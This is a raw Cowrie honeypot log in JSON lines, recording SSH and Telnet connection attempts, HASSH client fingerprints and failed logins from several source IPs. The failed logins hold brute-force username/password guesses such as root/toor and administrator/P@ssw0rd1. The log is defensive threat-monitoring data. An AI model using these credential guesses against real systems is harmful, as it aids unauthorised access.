{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:39.834203Z","src_ip":"103.88.76.27","session":"83522c9775be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy123","message":"login attempt [ubuntu/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:40.893868Z","src_ip":"103.88.76.27","session":"83522c9775be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:42.154283Z","src_ip":"103.88.76.27","session":"83522c9775be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":51904,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fa2570c4e61","protocol":"ssh","message":"New connection: 202.125.94.71:51904 (159.203.135.109:22) [session: 0fa2570c4e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:44.738965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:44.748243Z","src_ip":"202.125.94.71","session":"0fa2570c4e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:45.011432Z","src_ip":"202.125.94.71","session":"0fa2570c4e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1q2w3e4r","message":"login attempt [hadoop/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:46.096418Z","src_ip":"202.125.94.71","session":"0fa2570c4e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:47.361901Z","src_ip":"202.125.94.71","session":"0fa2570c4e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:53.038315Z","src_ip":"47.239.15.75","session":"5cd2b4c43588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:56.499882Z","src_ip":"47.239.15.75","session":"cf40bfe6695d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"117.8","message":"Connection lost after 117.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:00.037537Z","src_ip":"47.239.15.75","session":"cf40bfe6695d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.5","message":"Connection lost after 44.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:01.521711Z","src_ip":"47.239.15.75","session":"5cd2b4c43588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:13.888583Z","src_ip":"47.239.15.75","session":"442db801498f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":43122,"dst_ip":"159.203.135.109","dst_port":22,"session":"4533ceefd4a5","protocol":"ssh","message":"New connection: 103.88.76.27:43122 (159.203.135.109:22) [session: 4533ceefd4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:35.090822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:35.095683Z","src_ip":"103.88.76.27","session":"4533ceefd4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:35.317800Z","src_ip":"103.88.76.27","session":"4533ceefd4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraftserver","message":"login attempt [root/minecraftserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:36.213234Z","src_ip":"103.88.76.27","session":"4533ceefd4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:37.432566Z","src_ip":"103.88.76.27","session":"4533ceefd4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":45470,"dst_ip":"159.203.135.109","dst_port":22,"session":"800011f1fd7b","protocol":"ssh","message":"New connection: 202.125.94.71:45470 (159.203.135.109:22) [session: 800011f1fd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:45.446700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:45.453411Z","src_ip":"202.125.94.71","session":"800011f1fd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:45.718450Z","src_ip":"202.125.94.71","session":"800011f1fd7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test999","message":"login attempt [ubuntu/test999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:46.805730Z","src_ip":"202.125.94.71","session":"800011f1fd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:15:48.123162Z","src_ip":"202.125.94.71","session":"800011f1fd7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":56376,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ddb9f23b90","protocol":"ssh","message":"New connection: 47.239.15.75:56376 (159.203.135.109:22) [session: 49ddb9f23b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:31.373145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:31.587029Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:33.912241Z","src_ip":"47.239.15.75","session":"49ddb9f23b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":39188,"dst_ip":"159.203.135.109","dst_port":22,"session":"a351c38d1b45","protocol":"ssh","message":"New connection: 103.88.76.27:39188 (159.203.135.109:22) [session: a351c38d1b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:43.574569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:43.578335Z","src_ip":"103.88.76.27","session":"a351c38d1b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:43.793396Z","src_ip":"103.88.76.27","session":"a351c38d1b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd1","message":"login attempt [administrator/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:44.689498Z","src_ip":"103.88.76.27","session":"a351c38d1b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":38858,"dst_ip":"159.203.135.109","dst_port":22,"session":"be690d22fe70","protocol":"ssh","message":"New connection: 202.125.94.71:38858 (159.203.135.109:22) [session: be690d22fe70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:45.844852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:45.850178Z","src_ip":"202.125.94.71","session":"be690d22fe70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:45.909148Z","src_ip":"103.88.76.27","session":"a351c38d1b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:46.113147Z","src_ip":"202.125.94.71","session":"be690d22fe70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1qaz@WSX","message":"login attempt [developer/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:47.194063Z","src_ip":"202.125.94.71","session":"be690d22fe70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:48.459811Z","src_ip":"202.125.94.71","session":"be690d22fe70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":13363,"dst_ip":"159.203.135.109","dst_port":22,"session":"1391d77ab063","protocol":"ssh","message":"New connection: 84.239.42.8:13363 (159.203.135.109:22) [session: 1391d77ab063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:58.911510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:58.916254Z","src_ip":"84.239.42.8","session":"1391d77ab063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:59.043582Z","src_ip":"84.239.42.8","session":"1391d77ab063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:16:59.542567Z","src_ip":"84.239.42.8","session":"1391d77ab063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:00.672856Z","src_ip":"84.239.42.8","session":"1391d77ab063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"875776d8fa4f","protocol":"telnet","message":"New connection: 45.58.127.90:52542 (10.17.0.5:23) [session: 875776d8fa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:17:03.221833Z"}
